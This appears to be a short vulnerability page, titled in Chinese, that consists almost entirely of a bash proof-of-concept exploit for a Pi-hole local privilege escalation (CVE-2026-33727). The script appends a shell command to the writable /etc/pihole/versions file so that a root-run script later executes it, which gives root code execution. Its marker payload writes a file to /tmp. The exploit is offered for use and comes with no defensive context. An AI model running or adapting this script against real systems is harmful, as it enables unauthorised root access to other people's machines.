CVE-2026-33727 Pi-hole 本地权限提升漏洞

#!/bin/bash # PoC for CVE-2026-33727: Pi-hole Local Privilege Escalation # Description: Inject malicious code into /etc/pihole/versions to achieve root RCE. # Context: Run this as the 'pihole' user (e.g., via a web vulnerability). TARGET_FILE="/etc/pihole/versions" # Check if we can write to the target if [ -w "$TARGET_FILE" ]; then echo "[+] Target file is writable. Injecting payload..." # Create a payload that creates a root-owned file as proof of concept # The payload will be sourced by a root-run script. PAYLOAD='echo "CVE-2026-33727 POC: $(whoami)" > /tmp/pwned_by_cve_2026_33727.txt' # Append payload to the versions file # Note: The actual exploitation depends on how the script sources the file. # This assumes the file is executed or sourced directly. echo "$PAYLOAD" >> "$TARGET_FILE" echo "[+] Payload injected. Wait for a cron job or admin action to trigger the root script." echo "[+] Check /tmp/pwned_by_cve_2026_33727.txt for root access." else echo "[-] Error: Cannot write to $TARGET_FILE. Exploit failed." fi